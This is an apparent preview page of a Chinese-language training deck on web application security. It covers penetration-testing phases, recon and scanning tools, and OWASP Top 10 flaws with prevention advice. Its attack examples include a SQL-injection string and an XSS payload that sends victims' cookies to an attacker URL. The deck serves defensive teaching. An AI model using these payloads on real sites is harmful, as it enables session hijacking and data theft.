Web 應用安全概覽v1.1_第1頁
Web 應用安全概覽v1.1_第2頁
Web 應用安全概覽v1.1_第3頁
Web 應用安全概覽v1.1_第4頁
Web 應用安全概覽v1.1_第5頁
已閱讀5頁,還剩41頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

Web應用安全概覽MX團隊內部公開武漢安碩織信網絡科技有限公司目錄背景滲透測試Web應用安全Nessus漏洞掃描功能安全性測試實戰演示背景根據中國互聯網絡信息中心2016年發布的“第37次中國互聯網絡發展狀況統計報告

”,

2015年,42.7%的網民遭遇過網絡安全問題。背景那企業呢?5月:俄國黑客盜取2.73億郵箱信息以1美元價錢販賣,其中包括

4000

萬個雅虎郵箱、3300

萬微軟郵箱以及

2400

萬個谷歌郵箱。6月:MySpace4.27

億數據泄漏,或成互聯網史上最大規模的密碼泄露事件。應用程序安全風險

攻擊者可以通過應用程序中許多不同的路徑方法去危害您的業務或者企業組織。每種路徑方法都代表了一種風險,這些風險可能會,也有可能不會嚴重到值得您去關注。這樣的攻擊每時每刻都在重演,如何規避?將鏈路核心漏洞堵死對系統的任何弱點、技術缺陷或漏洞進行主動分析,滲透測試當仁不讓滲透測試定義滲透測試(PenetrationTesting

或者

PenTesting,

PT)沒有一個標準的定義。國外一些安全組織達成共識的通用說法是,滲透測試是通過模擬惡意黑客的攻擊方法,來評估計算機網絡系統安全的一種評估方法。這個過程包括對系統的任何弱點、技術缺陷或洞的主動分析,這個分析是從一個攻擊者可能存在的位置來進行的,并且從這個位置有條件主動利用安全漏洞,達到一定的控制權限。滲透測試是對用戶信息安全措施積極評估的過程。通過系統化的操作和分析,積極發現系統和網絡中存在的各種缺陷和弱點,如設計缺陷和技術缺陷。滲透測試方法滲透測試與其他評估方法不同。通常的評估方法是根據已知信息資源或其他被評估對象,去發現所有相關的安全問題。滲透測試是根據已知可利用的安全漏洞,去發現是否存在相應的信息資源。相比較而言,通常評估方法對評估結果更具有全面性,而滲透測試更注重安全漏洞的嚴重性。滲透測試階段信息收集——兵馬未動,糧草先行漏洞掃描——知己知彼,百戰不殆漏洞利用——攻其不備,出其不意滲透測試——信息收集收集滲透目標的情報是最重要的階段。如果收集到有用的情報資料的話,可以大大提高對滲透測試的成功性。收集滲透目標的情報一般是對目標系統的分析,掃描探測,服務查點,掃描對方漏洞,查找對方系統IP等,有時候滲透測試者也會用上“社會工程學”。滲透測試者會盡力搜集目標系統的配置與安全防御以及防火墻等等。其主要知識點如下:枚舉服務;測試網絡范圍;識別活躍的主機和查看打開的端口;系統指紋識別;服務指紋識別;其他信息收集手段;使用Maltego收集信息;繪制網絡圖。滲透測試——信息收集枚舉服務枚舉是一類程序,它允許用戶從一個網絡中收集某一類的所有相關信息。DNS枚舉可以收集本地所有DNS服務和相關條目。DNS枚舉可以幫助用戶收集目標組織的關鍵信息,如用戶名、計算機名和IP地址等。常用工具主要有:DNS枚舉工具DNSenum;DNS枚舉工具fierce。滲透測試——信息收集測試網絡范圍測試網絡范圍內的IP地址或域名也是滲透測試的一個重要部分。通過測試網絡范圍內的IP地址或域名,確定是否有人入侵自己的網絡中并損害系統。常用工具主要有:域名查詢工具Dmitry:查詢IP或域名WHOIS信息;跟蹤路由工具Scapy。滲透測試——信息收集識別活躍的主機嘗試滲透測試之前,必須先識別在這個目標網絡內活躍的主機。常用工具主要有:網絡映射器工具Nmap:

免費開放的網絡掃描和嗅探工具包

。滲透測試——信息收集查看打開的端口對一個大范圍的網絡或活躍的主機進行滲透測試,必須要了解這些主機上所打開的端口號。常用工具主要有:TCP端口掃描工具Nmap;圖形化TCP端口掃描工具Zenmap。滲透測試——信息收集系統指紋識別系統指紋信息包括目標主機打開的端口、MAC地址、操作系統類型和內核版本等。常用工具主要有:使用Nmap工具識別系統指紋信息;指紋識別工具p0f。滲透測試——信息收集服務指紋識別服務指紋信息包括服務端口、服務名和版本等。常用工具主要有:使用Nmap工具識別服務指紋信息;服務枚舉工具Amap。滲透測試——信息收集其他信息收集手段Recon-NG框架:由Python編寫的一個開源的Web偵查(信息收集)框架;搜索引擎工具Shodan:Shodan可以說是一款"黑暗"谷歌,一直不停的在尋找著所有和互聯網連接的服務器、攝像頭、打印機和路由器等。滲透測試——信息收集使用Maltego收集信息Maltego是一個開源的漏洞評估工具,它主要用于論證一個網絡內單點故障的復雜性和嚴重性。該工具能夠聚集來自內部和外部資源的信息,并且提供一個清晰的漏洞分析界面。滲透測試——信息收集繪制網絡結構圖CaseFile工具用來繪制網絡結構圖。使用該工具能快速添加和連接,并能以圖形界面形式靈活的構建網絡結構圖。滲透測試——漏洞掃描漏洞掃描器是一種能夠自動在計算機、信息系統、網絡及應用軟件中尋找和發現安全弱點的程序。它通過網絡對目標系統進行探測,向目標系統發生數據,并將反饋數據與自帶的漏洞特征庫進行匹配,進而列舉目標系統上存在的安全漏洞。漏洞掃描是保證系統和網絡安全必不可少的手段,面對互聯網入侵,如果用戶能夠根據具體的應用環境,盡可能早的通過網絡掃描來發現安全漏洞,并及時采取適當的處理措施進行修補,就可以有效地阻止入侵事件的發生。漏洞掃描工作相對枯燥,所以我們可以借助一些便捷的工具來實施,如Nessus和OpenVAS。滲透測試——漏洞掃描NessusNessus號稱是世界上最流行的漏洞掃描程序,全世界有超過75000個組織在使用它。該工具提供完整的電腦漏洞掃描服務,并隨時更新其漏洞數據庫。Nessus不同于傳統的漏洞掃描軟件,Nessus可同時在本機或遠端上遙控,進行系統的漏洞分析掃描。OpenVASOpenVAS(開放式漏洞評估系統)是一個客戶端/服務器架構,它常用來評估目標主機上的漏洞。OpenVAS是Nessus項目的一個分支,它提供的產品是完全地免費。滲透測試——漏洞利用漏洞利用階段利用已獲得的信息和各種攻擊手段實施滲透。網絡應用程序漏洞診斷項目的加密通信漏洞診斷是必須執行的。顧名思義,利用漏洞,達到攻擊的目的。漏洞利用是獲得系統控制權限的重要途徑。用戶從目標系統中找到容易攻擊的漏洞,然后利用該漏洞獲取權限,從而實現對目標系統的控制。Metasploit是一款開源的安全漏洞檢測工具框架。它可以幫助用戶識別安全問題,驗證漏洞的緩解措施,并對某些軟件進行安全性評估,提供真正的安全風險情報。滲透測試——

Kali

LinuxKaliLinux是基于Debian的Linux發行版,設計用于數字取證和滲透測試。KaliLinux預裝了許多滲透測試軟件,包括nmap(端口掃描器)、Wireshark(數據包分析器)、JohntheRipper(密碼破解器),以及Aircrack-ng(一應用于對無線局域網進行滲透測試的軟件)等。Web

應用安全OWASP(OpenWebApplicationSecurityProject,

開源web應用安全項目)每隔數年會更新10個最關鍵的Web應用安全問題清單,即OWASPTop10。Web

應用安全——

OWASPTop10Web

應用安全——

OWASPTop10Web漏洞——注入攻擊案例:應用程序在下面存在漏洞的

SQL

語句的構造中使用不可信數據:Stringquery="SELECT*FROMaccountsWHEREcustID='"+request.getParameter("id")+"'";攻擊者在瀏覽器中將“id”參數的值修改成:

'or'1'='1Web漏洞——

注入如何防止?防止注入漏洞需要將不可信數據從命令及查詢中區分開。最佳選擇是使用安全的API,完全避免使用解釋器或供參數化界面的API。但要注意有些參數化的API,比如存儲過程(storedprocedures),如果使用不當,仍然可以引入注入漏洞。如果沒法使用一個參數化的API,那么你應該使用解釋器具體的escape語法來避免特殊字符。OWASP的ESAPI就有一些escape例程。使用正面的或“白名單”的具有恰當的規范化的輸入驗證方法同樣會有助于防止注入攻擊。但由于很多應用在輸入中需要特殊字符,這一方法不是完整的防護方法。OWASP的ESAPI中包含一個白名單輸入驗證例程的擴展庫。Web漏洞——

失效的身份認證和會話管理攻擊案例:案例1:應用程序超時設置不當。用戶使用公共計算機訪問網站。離開時,該用戶沒有點擊退出,而是直接關閉瀏覽器。攻擊者在一個小時后能使用相同瀏覽器通過身份認證。案例2:內部或外部攻擊者進入系統的密碼數據庫.存儲在數據庫中的用戶密碼沒有被加密,所有用戶的密碼都被攻擊者獲得。如何防止?對企業最主要的建議是讓開發人員使用如下資源。一套單一的強大的認證和會話管理控制系統。企業同樣也要做出巨大努力來避免跨站漏洞,因為這一漏洞可以用來盜竊用戶會話ID。Web漏洞——

失效的身份認證和會話管理Web漏洞——跨站腳本(XSS)攻擊案例:應用程序在下面HTML代碼段的構造中使用未經驗證或轉義的不可信的數據:(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";攻擊者在瀏覽器中修改“CC”參數為如下值:'><script>document.locakon='h\p://www.a\/cgi-bin/cookie.cgi?foo='+document.cookie</script>'這導致受害者的會話ID被發送到攻擊者的網站,使得攻擊者能夠劫持用戶當前會話。請注意攻擊者同樣能使用跨站腳本攻破應用程序可能使用的任何跨站請求偽造(CSRF)防御機制。Web漏洞——跨站腳本(XSS)如何防止?防止XSS需要將不可信數據與動態的瀏覽器內容區分開。最好的辦法是根據數據將要置于的HTML上下文(包括主體、屬性、JavaScript、CSS或URL)對所有的不可信數據進行恰當的轉義(escape)。使用正面的或“白名單”的,具有恰當的規范化和解碼功能的輸入驗證方法同樣會有助于防止跨站腳本但由于很多應用程序在輸入中需要特殊字符,這一方法不是完整的防護方法。這種驗證方法需要盡可能地解碼任何編碼輸入,同時在接受輸入之前需要充分驗證數據的長度、字符、格式、和任何商務規則。考慮使用內容安全策略(CSP)來抵御整個網站的跨站腳本攻擊。Web漏洞——不安全的直接對象引用攻擊案例:

應用程序在訪問帳戶信息的SQL調用中使用未驗證數據:Stringquery="SELECT*FROMacctsWHEREaccount=?";PreparedStatementpstmt=conneckon.prepareStatement(query,...);pstmt.setString(1,request.getparameter("acct"));ResultSetresults=pstmt.executeQuery();攻擊者能輕易在瀏覽器將“acct”參數修改成他所想要的任何賬戶號碼。如果應用程序沒有進行恰當的驗證,攻擊者就能訪問任何用戶的賬戶,而不僅僅是該目標用戶的賬戶。Web漏洞——不安全的直接對象引用如何防止?要防止不安全的直接對象引用,需要選擇一個適當的方法來保護每一個用戶可訪問的對象(如對象號碼、文件名)。使用基于用戶或者會話的間接對象引用。這樣能防止攻擊者直接攻擊未授權資源。例如,一個下拉列表包含6個授權給當前用戶的資源,它可以使用數字1-6來指示哪個是用戶選擇的值,而不是使用資源的數據庫關鍵字來表示。在服務器端,應用程序需要將每個用戶的間接引用映射到實際的數據庫關鍵字。檢查訪問。任何來自不可信源的直接對象引用都必須通過訪問控制檢測,確保該用戶對請求的對象有訪問權限。Web漏洞——

安全配置錯誤攻擊案例:案例1:應用程序服務器管理員控制臺自動安裝后沒有被刪除。而默認帳戶也沒有被改變。攻擊者在你的服務器上發現了標準的管理員頁面,通過默認密碼登錄,從而接管了你的服務器。案例2:目錄列表在你的服務器上未被禁用。攻擊者發現只需列出目錄,她就可以找到你服務器上的任意文件。攻擊者找到并下載所有已編譯的Java類,她通過反編譯獲得了所有你的自定義代碼。然后,她在你的應用程序中找到一個訪問控制的嚴重漏洞。如何防止?主要的建議建立在以下幾個方面:一個可以快速且易于部署在另一個鎖定環境的可重復的加固過程。開發、質量保證和生產環境都應該配置相同(每個環境中使用不同的密碼)。這個過程應該是自動化的,以盡量減少安裝一個新安全環境的耗費。一個能及時了解并部署每個已部署環境的所有最新軟件更新和補丁的過程。這需要包括通常被忽略的所有代碼的庫文件。一個能在組件之間供有效的分離和安全性的強大應用程序架構。實施漏洞掃和經常進行審計以幫助檢測將來可能的錯誤配置或沒有安裝的補丁。Web漏洞——安全配置錯誤Web漏洞——

敏感信息泄露攻擊案例:案例1:一個應用程序加密存儲在數據庫的信用卡信息,以防止信用卡信息暴露給最終用戶。但是,數據庫設置為對信用卡表列的查詢進行自動解密,這就使得SQL注入漏洞能夠獲得所有信用卡信息的明文。該系統應該被設置為前端應用程序使用公鑰對信用卡信息加密,后端應用程序只能使用私鑰解密。案例2:一個網站上所有需要身份驗證的網頁都沒有使用SSL。攻擊者只需監控網絡數據流(比如一個開放的無線網絡或其社區的有線網絡),并竊取一個已驗證的受害者的會話cookie。然后,攻擊者利用這個cookie執行重放攻擊并接管用戶的會話從而訪問用戶的隱私數據。如何防止?有關使用不安全的加密算法、SSL使用和數據保護的風險超出了Top10的范圍。盡管如此,對一些需要加密的敏感數據,應該起碼做到以下幾點:預測一些威脅(比如內部攻擊和外部用戶),加密這些數據的存儲以確保免受這些威脅。對于沒必要存放的、重要的敏感數據,應當盡快清除。確保使用了合適的強大的標準算法和強大的密匙,并且密匙管理到位。確保使用密碼專用算法存儲密碼,如:bcrypt、PBKDF2或者scrypt。禁用自動完成防止敏感數據收集,禁用包含敏感數據的緩存頁面。Web漏洞——敏感信息泄露Web漏洞——功能級訪問控制缺失攻擊案例:攻擊者僅僅直接瀏覽目標網址。例如下面的兩個網址都需要身份驗證,而且訪問“admin_getappInfo”頁面還需要管理員權限。http:///app/getappInfohttp:///app/admin_getappInfo如果未認證的用戶可以訪問上述任一頁面,這就是漏洞。如果通過驗證的非管理員用戶也能允許訪問“admin_getappInfo”頁面,這同樣是個漏洞。Web漏洞——功能級訪問控制缺失如何防止?您的應用程序應該使用一致的和易于分析的授權模塊,并能在所有的業務功能中調用該模塊。通常是,由一個或多個外部組件向應用代碼內部供這種保護。考慮一下管理權利的過程并確保能夠容易的進行升級和審計。切忌硬編碼。執行機制在缺省情況下,應該拒絕所有訪問。對于每個功能的訪問,需要明確授予特定角色的訪問權限。如果某功能參與了工作流程,檢查并確保當前的條件是授權訪問此功能的合適狀態。Nessus漏洞掃描—檢測范圍操作系統漏洞檢測

對Windows、Solaris、AIX、Linux、SCO、SGI等操作系統本身進行漏洞檢測;數據庫漏洞檢測

對MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等數據庫進行漏洞檢測;應用系統漏洞檢測

對滲透目標提供的各種應用,如ASP、CG

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論